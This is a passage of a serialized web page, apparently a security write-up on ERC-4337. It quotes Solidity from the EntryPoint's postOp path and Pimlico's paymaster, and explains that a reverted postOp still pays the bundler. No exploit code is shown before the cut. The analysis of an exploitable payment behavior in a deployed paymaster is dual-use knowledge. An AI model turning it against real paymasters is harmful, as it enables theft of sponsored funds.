virtual",{"type":26,"tag":217,"props":62841,"children":62842},{"style":7042},[62843],{"type":32,"value":62260},{"type":26,"tag":217,"props":62845,"children":62846},{"style":7048},[62847],{"type":32,"value":7051},{"type":26,"tag":217,"props":62849,"children":62850},{"style":7119},[62851],{"type":32,"value":59516},{"type":26,"tag":217,"props":62853,"children":62854},{"style":7054},[62855],{"type":32,"value":60310},{"type":26,"tag":217,"props":62857,"children":62858},{"style":7048},[62859],{"type":32,"value":7618},{"type":26,"tag":217,"props":62861,"children":62862},{"class":7028,"line":7389},[62863],{"type":26,"tag":217,"props":62864,"children":62865},{"style":7048},[62866],{"type":32,"value":34647},{"type":26,"tag":217,"props":62868,"children":62869},{"class":7028,"line":7406},[62870,62874,62879,62883,62888,62892,62896],{"type":26,"tag":217,"props":62871,"children":62872},{"style":7042},[62873],{"type":32,"value":59922},{"type":26,"tag":217,"props":62875,"children":62876},{"style":7048},[62877],{"type":32,"value":62878}," (paymaster ",{"type":26,"tag":217,"props":62880,"children":62881},{"style":7149},[62882],{"type":32,"value":9106},{"type":26,"tag":217,"props":62884,"children":62885},{"style":7119},[62886],{"type":32,"value":62887}," address",{"type":26,"tag":217,"props":62889,"children":62890},{"style":7048},[62891],{"type":32,"value":1851},{"type":26,"tag":217,"props":62893,"children":62894},{"style":7130},[62895],{"type":32,"value":1883},{"type":26,"tag":217,"props":62897,"children":62898},{"style":7048},[62899],{"type":32,"value":33209},{"type":26,"tag":217,"props":62901,"children":62902},{"class":7028,"line":7439},[62903,62908,62912],{"type":26,"tag":217,"props":62904,"children":62905},{"style":7048},[62906],{"type":32,"value":62907},"                refundAddress ",{"type":26,"tag":217,"props":62909,"children":62910},{"style":7149},[62911],{"type":32,"value":267},{"type":26,"tag":217,"props":62913,"children":62914},{"style":7048},[62915],{"type":32,"value":62916}," mUserOp.sender;\n",{"type":26,"tag":217,"props":62918,"children":62919},{"class":7028,"line":7487},[62920,62924,62928],{"type":26,"tag":217,"props":62921,"children":62922},{"style":7048},[62923],{"type":32,"value":60702},{"type":26,"tag":217,"props":62925,"children":62926},{"style":7042},[62927],{"type":32,"value":40852},{"type":26,"tag":217,"props":62929,"children":62930},{"style":7048},[62931],{"type":32,"value":8064},{"type":26,"tag":217,"props":62933,"children":62934},{"class":7028,"line":7524},[62935,62939,62943],{"type":26,"tag":217,"props":62936,"children":62937},{"style":7048},[62938],{"type":32,"value":62907},{"type":26,"tag":217,"props":62940,"children":62941},{"style":7149},[62942],{"type":32,"value":267},{"type":26,"tag":217,"props":62944,"children":62945},{"style":7048},[62946],{"type":32,"value":62947}," paymaster;\n",{"type":26,"tag":217,"props":62949,"children":62950},{"class":7028,"line":7553},[62951,62955,62960,62964,62968],{"type":26,"tag":217,"props":62952,"children":62953},{"style":7042},[62954],{"type":32,"value":35880},{"type":26,"tag":217,"props":62956,"children":62957},{"style":7048},[62958],{"type":32,"value":62959}," (context.length ",{"type":26,"tag":217,"props":62961,"children":62962},{"style":7149},[62963],{"type":32,"value":5903},{"type":26,"tag":217,"props":62965,"children":62966},{"style":7130},[62967],{"type":32,"value":9922},{"type":26,"tag":217,"props":62969,"children":62970},{"style":7048},[62971],{"type":32,"value":7618},{"type":26,"tag":217,"props":62973,"children":62974},{"class":7028,"line":7570},[62975,62980,62984,62988,62992],{"type":26,"tag":217,"props":62976,"children":62977},{"style":7048},[62978],{"type":32,"value":62979},"                    actualGasCost ",{"type":26,"tag":217,"props":62981,"children":62982},{"style":7149},[62983],{"type":32,"value":267},{"type":26,"tag":217,"props":62985,"children":62986},{"style":7048},[62987],{"type":32,"value":61785},{"type":26,"tag":217,"props":62989,"children":62990},{"style":7149},[62991],{"type":32,"value":10006},{"type":26,"tag":217,"props":62993,"children":62994},{"style":7048},[62995],{"type":32,"value":62996}," gasPrice;\n",{"type":26,"tag":217,"props":62998,"children":62999},{"class":7028,"line":7621},[63000,63004,63009,63013,63017],{"type":26,"tag":217,"props":63001,"children":63002},{"style":7119},[63003],{"type":32,"value":59965},{"type":26,"tag":217,"props":63005,"children":63006},{"style":7048},[63007],{"type":32,"value":63008}," postOpPreGas ",{"type":26,"tag":217,"props":63010,"children":63011},{"style":7149},[63012],{"type":32,"value":267},{"type":26,"tag":217,"props":63014,"children":63015},{"style":7154},[63016],{"type":32,"value":61803},{"type":26,"tag":217,"props":63018,"children":63019},{"style":7048},[63020],{"type":32,"value":8217},{"type":26,"tag":217,"props":63022,"children":63023},{"class":7028,"line":7672},[63024,63029,63034,63038],{"type":26,"tag":217,"props":63025,"children":63026},{"style":7042},[63027],{"type":32,"value":63028},"                    if",{"type":26,"tag":217,"props":63030,"children":63031},{"style":7048},[63032],{"type":32,"value":63033}," (mode ",{"type":26,"tag":217,"props":63035,"children":63036},{"style":7149},[63037],{"type":32,"value":9720},{"type":26,"tag":217,"props":63039,"children":63040},{"style":7048},[63041],{"type":32,"value":63042}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":26,"tag":217,"props":63044,"children":63045},{"class":7028,"line":7681},[63046,63051,63056],{"type":26,"tag":217,"props":63047,"children":63048},{"style":7042},[63049],{"type":32,"value":63050},"                        try",{"type":26,"tag":217,"props":63052,"children":63053},{"style":7064},[63054],{"type":32,"value":63055}," IPaymaster",{"type":26,"tag":217,"props":63057,"children":63058},{"style":7048},[63059],{"type":32,"value":63060},"(paymaster).postOp{\n",{"type":26,"tag":217,"props":63062,"children":63063},{"class":7028,"line":7754},[63064,63069,63073],{"type":26,"tag":217,"props":63065,"children":63066},{"style":7048},[63067],{"type":32,"value":63068},"                                gas",{"type":26,"tag":217,"props":63070,"children":63071},{"style":7149},[63072],{"type":32,"value":1473},{"type":26,"tag":217,"props":63074,"children":63075},{"style":7048},[63076],{"type":32,"value":63077}," mUserOp.paymasterPostOpGasLimit\n",{"type":26,"tag":217,"props":63079,"children":63080},{"class":7028,"line":7784},[63081],{"type":26,"tag":217,"props":63082,"children":63083},{"style":7048},[63084],{"type":32,"value":63085},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":26,"tag":217,"props":63087,"children":63088},{"class":7028,"line":7802},[63089,63094,63099],{"type":26,"tag":217,"props":63090,"children":63091},{"style":7033},[63092],{"type":32,"value":63093},"                        // ",{"type":26,"tag":217,"props":63095,"children":63096},{"style":7154},[63097],{"type":32,"value":63098},"solhint-disable",{"type":26,"tag":217,"props":63100,"children":63101},{"style":7033},[63102],{"type":32,"value":63103},"-next-line no-empty-blocks\n",{"type":26,"tag":217,"props":63105,"children":63106},{"class":7028,"line":7811},[63107,63112,63116],{"type":26,"tag":217,"props":63108,"children":63109},{"style":7048},[63110],{"type":32,"value":63111},"                        {} ",{"type":26,"tag":217,"props":63113,"children":63114},{"style":7042},[63115],{"type":32,"value":24775},{"type":26,"tag":217,"props":63117,"children":63118},{"style":7048},[63119],{"type":32,"value":8064},{"type":26,"tag":217,"props":63121,"children":63122},{"class":7028,"line":7820},[63123,63128,63132,63137,63141,63145,63149],{"type":26,"tag":217,"props":63124,"children":63125},{"style":7119},[63126],{"type":32,"value":63127},"                            bytes",{"type":26,"tag":217,"props":63129,"children":63130},{"style":7154},[63131],{"type":32,"value":59563},{"type":26,"tag":217,"props":63133,"children":63134},{"style":7048},[63135],{"type":32,"value":63136}," reason ",{"type":26,"tag":217,"props":63138,"children":63139},{"style":7149},[63140],{"type":32,"value":267},{"type":26,"tag":217,"props":63142,"children":63143},{"style":7048},[63144],{"type":32,"value":62346},{"type":26,"tag":217,"props":63146,"children":63147},{"style":7064},[63148],{"type":32,"value":62437},{"type":26,"tag":217,"props":63150,"children":63151},{"style":7048},[63152],{"type":32,"value":62442},{"type":26,"tag":217,"props":63154,"children":63155},{"class":7028,"line":7844},[63156,63161,63166],{"type":26,"tag":217,"props":63157,"children":63158},{"style":7042},[63159],{"type":32,"value":63160},"                            revert",{"type":26,"tag":217,"props":63162,"children":63163},{"style":7064},[63164],{"type":32,"value":63165}," PostOpReverted",{"type":26,"tag":217,"props":63167,"children":63168},{"style":7048},[63169],{"type":32,"value":63170},"(reason);\n",{"type":26,"tag":217,"props":63172,"children":63173},{"class":7028,"line":7910},[63174],{"type":26,"tag":217,"props":63175,"children":63176},{"style":7048},[63177],{"type":32,"value":63178},"                        }\n",{"type":26,"tag":217,"props":63180,"children":63181},{"class":7028,"line":7954},[63182],{"type":26,"tag":217,"props":63183,"children":63184},{"style":7048},[63185],{"type":32,"value":63186},"                    }\n",{"type":26,"tag":217,"props":63188,"children":63189},{"class":7028,"line":7985},[63190],{"type":26,"tag":217,"props":63191,"children":63192},{"style":7033},[63193],{"type":32,"value":63194},"                    // Calculating a penalty for unused postOp gas\n",{"type":26,"tag":217,"props":63196,"children":63197},{"class":7028,"line":8027},[63198,63202,63206],{"type":26,"tag":217,"props":63199,"children":63200},{"style":7033},[63201],{"type":32,"value":60028},{"type":26,"tag":217,"props":63203,"children":63204},{"style":7154},[63205],{"type":32,"value":59870},{"type":26,"tag":217,"props":63207,"children":63208},{"style":7033},[63209],{"type":32,"value":63210}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":26,"tag":217,"props":63212,"children":63213},{"class":7028,"line":8035},[63214,63218,63223,63227,63231,63235,63239],{"type":26,"tag":217,"props":63215,"children":63216},{"style":7119},[63217],{"type":32,"value":59965},{"type":26,"tag":217,"props":63219,"children":63220},{"style":7048},[63221],{"type":32,"value":63222}," postOpGasUsed ",{"type":26,"tag":217,"props":63224,"children":63225},{"style":7149},[63226],{"type":32,"value":267},{"type":26,"tag":217,"props":63228,"children":63229},{"style":7048},[63230],{"type":32,"value":63008},{"type":26,"tag":217,"props":63232,"children":63233},{"style":7149},[63234],{"type":32,"value":18420},{"type":26,"tag":217,"props":63236,"children":63237},{"style":7154},[63238],{"type":32,"value":61803},{"type":26,"tag":217,"props":63240,"children":63241},{"style":7048},[63242],{"type":32,"value":8217},{"type":26,"tag":217,"props":63244,"children":63245},{"class":7028,"line":8067},[63246,63251,63255,63260],{"type":26,"tag":217,"props":63247,"children":63248},{"style":7048},[63249],{"type":32,"value":63250},"                    postOpUnusedGasPenalty ",{"type":26,"tag":217,"props":63252,"children":63253},{"style":7149},[63254],{"type":32,"value":267},{"type":26,"tag":217,"props":63256,"children":63257},{"style":7064},[63258],{"type":32,"value":63259}," _getUnusedGasPenalty",{"type":26,"tag":217,"props":63261,"children":63262},{"style":7048},[63263],{"type":32,"value":63264},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":26,"tag":217,"props":63266,"children":63267},{"class":7028,"line":8107},[63268],{"type":26,"tag":217,"props":63269,"children":63270},{"style":7048},[63271],{"type":32,"value":13407},{"type":26,"tag":217,"props":63273,"children":63274},{"class":7028,"line":8145},[63275],{"type":26,"tag":217,"props":63276,"children":63277},{"style":7048},[63278],{"type":32,"value":36205},{"type":26,"tag":217,"props":63280,"children":63281},{"class":7028,"line":8154},[63282],{"type":26,"tag":217,"props":63283,"children":63284},{"style":7048},[63285],{"type":32,"value":34647},{"type":26,"tag":217,"props":63287,"children":63288},{"class":7028,"line":8162},[63289],{"type":26,"tag":217,"props":63290,"children":63291},{"style":7048},[63292],{"type":32,"value":9754},{"type":26,"tag":39,"props":63294,"children":63295},{},[63296,63298,63303,63305,63311,63313,63319,63321,63326,63328,63333,63335,63340,63342,63347,63349,63354,63356,63361],{"type":32,"value":63297},"It turns out that if the ",{"type":26,"tag":83,"props":63299,"children":63301},{"className":63300},[],[63302],{"type":32,"value":58855},{"type":32,"value":63304}," call fails, it will revert with ",{"type":26,"tag":83,"props":63306,"children":63308},{"className":63307},[],[63309],{"type":32,"value":63310},"PostOpReverted",{"type":32,"value":63312},". However, as we can see in the previous code of ",{"type":26,"tag":83,"props":63314,"children":63316},{"className":63315},[],[63317],{"type":32,"value":63318},"_executeUserOp",{"type":32,"value":63320},", even though ",{"type":26,"tag":83,"props":63322,"children":63324},{"className":63323},[],[63325],{"type":32,"value":62017},{"type":32,"value":63327}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":26,"tag":83,"props":63329,"children":63331},{"className":63330},[],[63332],{"type":32,"value":62686},{"type":32,"value":63334}," call with ",{"type":26,"tag":83,"props":63336,"children":63338},{"className":63337},[],[63339],{"type":32,"value":62694},{"type":32,"value":63341}," mode, and it won't try to call ",{"type":26,"tag":83,"props":63343,"children":63345},{"className":63344},[],[63346],{"type":32,"value":58855},{"type":32,"value":63348}," again. This means the ",{"type":26,"tag":83,"props":63350,"children":63352},{"className":63351},[],[63353],{"type":32,"value":58717},{"type":32,"value":63355}," still gets paid for submitting the failed ",{"type":26,"tag":83,"props":63357,"children":63359},{"className":63358},[],[63360],{"type":32,"value":58657},{"type":32,"value":180},{"type":26,"tag":39,"props":63363,"children":63364},{},[63365,63367,63372,63374,63379,63381,63388],{"type":32,"value":63366},"Now that we understand this behavior where ",{"type":26,"tag":83,"props":63368,"children":63370},{"className":63369},[],[63371],{"type":32,"value":58855},{"type":32,"value":63373}," is allowed to fail while the ",{"type":26,"tag":83,"props":63375,"children":63377},{"className":63376},[],[63378],{"type":32,"value":58717},{"type":32,"value":63380}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":26,"tag":163,"props":63382,"children":63385},{"href":63383,"rel":63384},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[167],[63386],{"type":32,"value":63387},"Pimlico",{"type":32,"value":180},{"type":26,"tag":207,"props":63390,"children":63392},{"className":59407,"code":63391,"language":59409,"meta":8,"style":8},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[63393],{"type":26,"tag":83,"props":63394,"children":63395},{"__ignoreMap":8},[63396,63411,63428,63448,63464,63476,63483,63490,63497,63529,63536,63561,63569,63577,63584,63613,63620,63636,63658,63665,63681,63731,63738,63754,63762,63795,63828,63836,63843,63850,63893,63900,63949,63975,63982,63989,64006],{"type":26,"tag":217,"props":63397,"children":63398},{"class":7028,"line":7029},[63399,63403,63407],{"type":26,"tag":217,"props":63400,"children":63401},{"style":7154},[63402],{"type":32,"value":59474},{"type":26,"tag":217,"props":63404,"children":63405},{"style":7064},[63406],{"type":32,"value":60272},{"type":26,"tag":217,"props":63408,"children":63409},{"style":7048},[63410],{"type":32,"value":10932},{"type":26,"tag":217,"props":63412,"children":63413},{"class":7028,"line":6770},[63414,63419,63423],{"type":26,"tag":217,"props":63415,"children":63416},{"style":7154},[63417],{"type":32,"value":63418},"        PostOpMode",{"type":26,"tag":217,"props":63420,"children":63421},{"style":7048},[63422],{"type":32,"value":7599},{"type":26,"tag":217,"props":63424,"children":63425},{"style":7033},[63426],{"type":32,"value":63427},"/* mode */\n",{"type":26,"tag":217,"props":63429,"children":63430},{"class":7028,"line":6779},[63431,63435,63439,63444],{"type":26,"tag":217,"props":63432,"children":63433},{"style":7119},[63434],{"type":32,"value":62193},{"type":26,"tag":217,"props":63436,"children":63437},{"style":7154},[63438],{"type":32,"value":59493},{"type":26,"tag":217,"props":63440,"children":63441},{"style":7054},[63442],{"type":32,"value":63443}," _context",{"type":26,"tag":217,"props":63445,"children":63446},{"style":7048},[63447],{"type":32,"value":10953},{"type":26,"tag":217,"props":63449,"children":63450},{"class":7028,"line":7140},[63451,63455,63460],{"type":26,"tag":217,"props":63452,"children":63453},{"style":7119},[63454],{"type":32,"value":61192},{"type":26,"tag":217,"props":63456,"children":63457},{"style":7054},[63458],{"type":32,"value":63459}," _actualGasCost",{"type":26,"tag":217,"props":63461,"children":63462},{"style":7048},[63463],{"type":32,"value":10953},{"type":26,"tag":217,"props":63465,"children":63466},{"class":7028,"line":7165},[63467,63471],{"type":26,"tag":217,"props":63468,"children":63469},{"style":7119},[63470],{"type":32,"value":61192},{"type":26,"tag":217,"props":63472,"children":63473},{"style":7054},[63474],{"type":32,"value":63475}," _actualUserOpFeePerGas\n",{"type":26,"tag":217,"props":63477,"children":63478},{"class":7028,"line":7178},[63479],{"type":26,"tag":217,"props":63480,"children":63481},{"style":7048},[63482],{"type":32,"value":61246},{"type":26,"tag":217,"props":63484,"children":63485},{"class":7028,"line":7389},[63486],{"type":26,"tag":217,"props":63487,"children":63488},{"style":7154},[63489],{"type":32,"value":59533},{"type":26,"tag":217,"props":63491,"children":63492},{"class":7028,"line":7406},[63493],{"type":26,"tag":217,"props":63494,"children":63495},{"style":7048},[63496],{"type":32,"value":37334},{"type":26,"tag":217,"props":63498,"children":63499},{"class":7028,"line":7439},[63500,63505,63510,63515,63519,63524],{"type":26,"tag":217,"props":63501,"children":63502},{"style":7048},[63503],{"type":32,"value":63504},"        ERC20PostOpContext ",{"type":26,"tag":217,"props":63506,"children":63507},{"style":7154},[63508],{"type":32,"value":63509},"memory",{"type":26,"tag":217,"props":63511,"children":63512},{"style":7048},[63513],{"type":32,"value":63514}," ctx ",{"type":26,"tag":217,"props":63516,"children":63517},{"style":7149},[63518],{"type":32,"value":267},{"type":26,"tag":217,"props":63520,"children":63521},{"style":7064},[63522],{"type":32,"value":63523}," _parsePostOpContext",{"type":26,"tag":217,"props":63525,"children":63526},{"style":7048},[63527],{"type":32,"value":63528},"(_context);\n",{"type":26,"tag":217,"props":63530,"children":63531},{"class":7028,"line":7487},[63532],{"type":26,"tag":217,"props":63533,"children":63534},{"emptyLinePlaceholder":17},[63535],{"type":32,"value":7817},{"type":26,"tag":217,"props":63537,"children":63538},{"class":7028,"line":7524},[63539,63543,63548,63552,63557],{"type":26,"tag":217,"props":63540,"children":63541},{"style":7119},[63542],{"type":32,"value":61192},{"type":26,"tag":217,"props":63544,"children":63545},{"style":7048},[63546],{"type":32,"value":63547}," expectedPenaltyGasCost ",{"type":26,"tag":217,"props":63549,"children":63550},{"style":7149},[63551],{"type":32,"value":267},{"type":26,"tag":217,"props":63553,"children":63554},{"style":7064},[63555],{"type":32,"value":63556}," _expectedPenaltyGasCost",{"type":26,"tag":217,"props":63558,"children":63559},{"style":7048},[63560],{"type":32,"value":10932},{"type":26,"tag":217,"props":63562,"children":63563},{"class":7028,"line":7553},[63564],{"type":26,"tag":217,"props":63565,"children":63566},{"style":7048},[63567],{"type":32,"value":63568},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":26,"tag":217,"props":63570,"children":63571},{"class":7028,"line":7570},[63572],{"type":26,"tag":217,"props":63573,"children":63574},{"style":7048},[63575],{"type":32,"value":63576},"        );\n",{"type":26,"tag":217,"props":63578,"children":63579},{"class":7028,"line":7621},[63580],{"type":26,"tag":217,"props":63581,"children":63582},{"emptyLinePlaceholder":17},[63583],{"type":32,"value":7817},{"type":26,"tag":217,"props":63585,"children":63586},{"class":7028,"line":7672},[63587,63591,63595,63599,63604,63608],{"type":26,"tag":217,"props":63588,"children":63589},{"style":7119},[63590],{"type":32,"value":61192},{"type":26,"tag":217,"props":63592,"children":63593},{"style":7048},[63594],{"type":32,"value":60595},{"type":26,"tag":217,"props":63596,"children":63597},{"style":7149},[63598],{"type":32,"value":267},{"type":26,"tag":217,"props":63600,"children":63601},{"style":7048},[63602],{"type":32,"value":63603}," _actualGasCost ",{"type":26,"tag":217,"props":63605,"children":63606},{"style":7149},[63607],{"type":32,"value":3540},{"type":26,"tag":217,"props":63609,"children":63610},{"style":7048},[63611],{"type":32,"value":63612}," expectedPenaltyGasCost;\n",{"type":26,"tag":217,"props":63614,"children":63615},{"class":7028,"line":7681},[63616],{"type":26,"tag":217,"props":63617,"children":63618},{"emptyLinePlaceholder":17},[63619],{"type":32,"value":7817},{"type":26,"tag":217,"props":63621,"children":63622},{"class":7028,"line":7754},[63623,63627,63632],{"type":26,"tag":217,"props":63624,"children":63625},{"style":7119},[63626],{"type":32,"value":61192},{"type":26,"tag":217,"props":63628,"children":63629},{"style":7048},[63630],{"type":32,"value":63631}," costInToken ",{"type":26,"tag":217,"props":63633,"children":63634},{"style":7149},[63635],{"type":32,"value":59957},{"type":26,"tag":217,"props":63637,"children":63638},{"class":7028,"line":7784},[63639,63644,63649,63653],{"type":26,"tag":217,"props":63640,"children":63641},{"style":7064},[63642],{"type":32,"value":63643},"            getCostInToken",{"type":26,"tag":217,"props":63645,"children":63646},{"style":7048},[63647],{"type":32,"value":63648},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":26,"tag":217,"props":63650,"children":63651},{"style":7149},[63652],{"type":32,"value":3540},{"type":26,"tag":217,"props":63654,"children":63655},{"style":7048},[63656],{"type":32,"value":63657}," ctx.constantFee;\n",{"type":26,"tag":217,"props":63659,"children":63660},{"class":7028,"line":7802},[63661],{"type":26,"tag":217,"props":63662,"children":63663},{"emptyLinePlaceholder":17},[63664],{"type":32,"value":7817},{"type":26,"tag":217,"props":63666,"children":63667},{"class":7028,"line":7811},[63668,63672,63677],{"type":26,"tag":217,"props":63669,"children":63670},{"style":7119},[63671],{"type":32,"value":61192},{"type":26,"tag":217,"props":63673,"children":63674},{"style":7048},[63675],{"type":32,"value":63676}," absoluteCostInToken ",{"type":26,"tag":217,"props":63678,"children":63679},{"style":7149},[63680],{"type":32,"value":59957},{"type":26,"tag":217,"props":63682,"children":63683},{"class":7028,"line":7820},[63684,63689,63693,63698,63702,63706,63710,63714,63718,63722,63726],{"type":26,"tag":217,"props":63685,"children":63686},{"style":7048},[63687],{"type":32,"value":63688},"            costInToken ",{"type":26,"tag":217,"props":63690,"children":63691},{"style":7149},[63692],{"type":32,"value":5903},{"type":26,"tag":217,"props":63694,"children":63695},{"style":7048},[63696],{"type":32,"value":63697}," ctx.preFundCharged ",{"type":26,"tag":217,"props":63699,"children":63700},{"style":7149},[63701],{"type":32,"value":605},{"type":26,"tag":217,"props":63703,"children":63704},{"style":7048},[63705],{"type":32,"value":63631},{"type":26,"tag":217,"props":63707,"children":63708},{"style":7149},[63709],{"type":32,"value":18420},{"type":26,"tag":217,"props":63711,"children":63712},{"style":7048},[63713],{"type":32,"value":63697},{"type":26,"tag":217,"props":63715,"children":63716},{"style":7149},[63717],{"type":32,"value":1473},{"type":26,"tag":217,"props":63719,"children":63720},{"style":7048},[63721],{"type":32,"value":63697},{"type":26,"tag":217,"props":63723,"children":63724},{"style":7149},[63725],{"type":32,"value":18420},{"type":26,"tag":217,"props":63727,"children":63728},{"style":7048},[63729],{"type":32,"value":63730}," costInToken;\n",{"type":26,"tag":217,"props":63732,"children":63733},{"class":7028,"line":7844},[63734],{"type":26,"tag":217,"props":63735,"children":63736},{"emptyLinePlaceholder":17},[63737],{"type":32,"value":7817},{"type":26,"tag":217,"props":63739,"children":63740},{"class":7028,"line":7910},[63741,63746,63750],{"type":26,"tag":217,"props":63742,"children":63743},{"style":7048},[63744],{"type":32,"value":63745},"        SafeTransferLib.",{"type":26,"tag":217,"props":63747,"children":63748},{"style":7064},[63749],{"type":32,"value":60125},{"type":26,"tag":217,"props":63751,"children":63752},{"style":7048},[63753],{"type":32,"value":10932},{"type":26,"tag":217,"props":63755,"children":63756},{"class":7028,"line":7954},[63757],{"type":26,"tag":217,"props":63758,"children":63759},{"style":7048},[63760],{"type":32,"value":63761},"            ctx.token,\n",{"type":26,"tag":217,"props":63763,"children":63764},{"class":7028,"line":7985},[63765,63769,63773,63777,63781,63786,63790],{"type":26,"tag":217,"props":63766,"children":63767},{"style":7048},[63768],{"type":32,"value":63688},{"type":26,"tag":217,"props":63770,"children":63771},{"style":7149},[63772],{"type":32,"value":5903},{"type":26,"tag":217,"props":63774,"children":63775},{"style":7048},[63776],{"type":32,"value":63697},{"type":26,"tag":217,"props":63778,"children":63779},{"style":7149},[63780],{"type":32,"value":605},{"type":26,"tag":217,"props":63782,"children":63783},{"style":7048},[63784],{"type":32,"value":63785}," ctx.sender ",{"type":26,"tag":217,"props":63787,"children":63788},{"style":7149},[63789],{"type":32,"value":1473},{"type":26,"tag":217,"props":63791,"children":63792},{"style":7048},[63793],{"type":32,"value":63794}," ctx.treasury,\n",{"type":26,"tag":217,"props":63796,"children":63797},{"class":7028,"line":8027},[63798,63802,63806,63810,63814,63819,63823],{"type":26,"tag":217,"props":63799,"children":63800},{"style":7048},[63801],{"type":32,"value":63688},{"type":26,"tag":217,"props":63803,"children":63804},{"style":7149},[63805],{"type":32,"value":5903},{"type":26,"tag":217,"props":63807,"children":63808},{"style":7048},[63809],{"type":32,"value":63697},{"type":26,"tag":217,"props":63811,"children":63812},{"style":7149},[63813],{"type":32,"value":605},{"type":26,"tag":217,"props":63815,"children":63816},{"style":7048},[63817],{"type":32,"value":63818}," ctx.treasury ",{"type":26,"tag":217,"props":63820,"children":63821},{"style":7149},[63822],{"type":32,"value":1473},{"type":26,"tag":217,"props":63824,"children":63825},{"style":7048},[63826],{"type":32,"value":63827}," ctx.sender,\n",{"type":26,"tag":217,"props":63829,"children":63830},{"class":7028,"line":8035},[63831],{"type":26,"tag":217,"props":63832,"children":63833},{"style":7048},[63834],{"type":32,"value":63835},"            absoluteCostInToken\n",{"type":26,"tag":217,"props":63837,"children":63838},{"class":7028,"line":8067},[63839],{"type":26,"tag":217,"props":63840,"children":63841},{"style":7048},[63842],{"type":32,"value":63576},{"type":26,"tag":217,"props":63844,"children":63845},{"class":7028,"line":8107},[63846],{"type":26,"tag":217,"props":63847,"children":63848},{"emptyLinePlaceholder":17},[63849],{"type":32,"value":7817},{"type":26,"tag":217,"props":63851,"children":63852},{"class":7028,"line":8145},[63853,63857,63862,63866,63871,63875,63880,63884,63889],{"type":26,"tag":217,"props":63854,"children":63855},{"style":7119},[63856],{"type":32,"value":61192},{"type":26,"tag":217,"props":63858,"children":63859},{"style":7048},[63860],{"type":32,"value":63861}," preFundInToken ",{"type":26,"tag":217,"props":63863,"children":63864},{"style":7149},[63865],{"type":32,"value":267},{"type":26,"tag":217,"props":63867,"children":63868},{"style":7048},[63869],{"type":32,"value":63870}," (ctx.preFund ",{"type":26,"tag":217,"props":63872,"children":63873},{"style":7149},[63874],{"type":32,"value":10006},{"type":26,"tag":217,"props":63876,"children":63877},{"style":7048},[63878],{"type":32,"value":63879}," ctx.exchangeRate) ",{"type":26,"tag":217,"props":63881,"children":63882},{"style":7149},[63883],{"type":32,"value":5756},{"type":26,"tag":217,"props":63885,"children":63886},{"style":7130},[63887],{"type":32,"value":63888}," 1e18",{"type":26,"tag":217,"props":63890,"children":63891},{"style":7048},[63892],{"type":32,"value":7162},{"type":26,"tag":217,"props":63894,"children":63895},{"class":7028,"line":8154},[63896],{"type":26,"tag":217,"props":63897,"children":63898},{"emptyLinePlaceholder":17},[63899],{"type":32,"value":7817},{"type":26,"tag":217,"props":63901,"children":63902},{"class":7028,"line":8162},[63903,63907,63912,63916,63920,63924,63928,63932,63936,63940,63944],{"type":26,"tag":217,"props":63904,"children":63905},{"style":7042},[63906],{"type":32,"value":12497},{"type":26,"tag":217,"props":63908,"children":63909},{"style":7048},[63910],{"type":32,"value":63911}," (ctx.recipient ",{"type":26,"tag":217,"props":63913,"children":63914},{"style":7149},[63915],{"type":32,"value":9720},{"type":26,"tag":217,"props":63917,"children":63918},{"style":7119},[63919],{"type":32,"value":62887},{"type":26,"tag":217,"props":63921,"children":63922},{"style":7048},[63923],{"type":32,"value":1851},{"type":26,"tag":217,"props":63925,"children":63926},{"style":7130},[63927],{"type":32,"value":1883},{"type":26,"tag":217,"props":63929,"children":63930},{"style":7048},[63931],{"type":32,"value":8380},{"type":26,"tag":217,"props":63933,"children":63934},{"style":7149},[63935],{"type":32,"value":14809},{"type":26,"tag":217,"props":63937,"children":63938},{"style":7048},[63939],{"type":32,"value":63861},{"type":26,"tag":217,"props":63941,"children":63942},{"style":7149},[63943],{"type":32,"value":5903},{"type":26,"tag":217,"props":63945,"children":63946},{"style":7048},[63947],{"type":32,"value":63948}," costInToken) {\n",{"type":26,"tag":217,"props":63950,"children":63951},{"class":7028,"line":8197},[63952,63957,63961,63966,63970],{"type":26,"tag":217,"props":63953,"children":63954},{"style":7048},[63955],{"type":32,"value":63956},"            SafeTransferLib.",{"type":26,"tag":217,"props":63958,"children":63959},{"style":7064},[63960],{"type":32,"value":60125},{"type":26,"tag":217,"props":63962,"children":63963},{"style":7048},[63964],{"type":32,"value":63965},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken 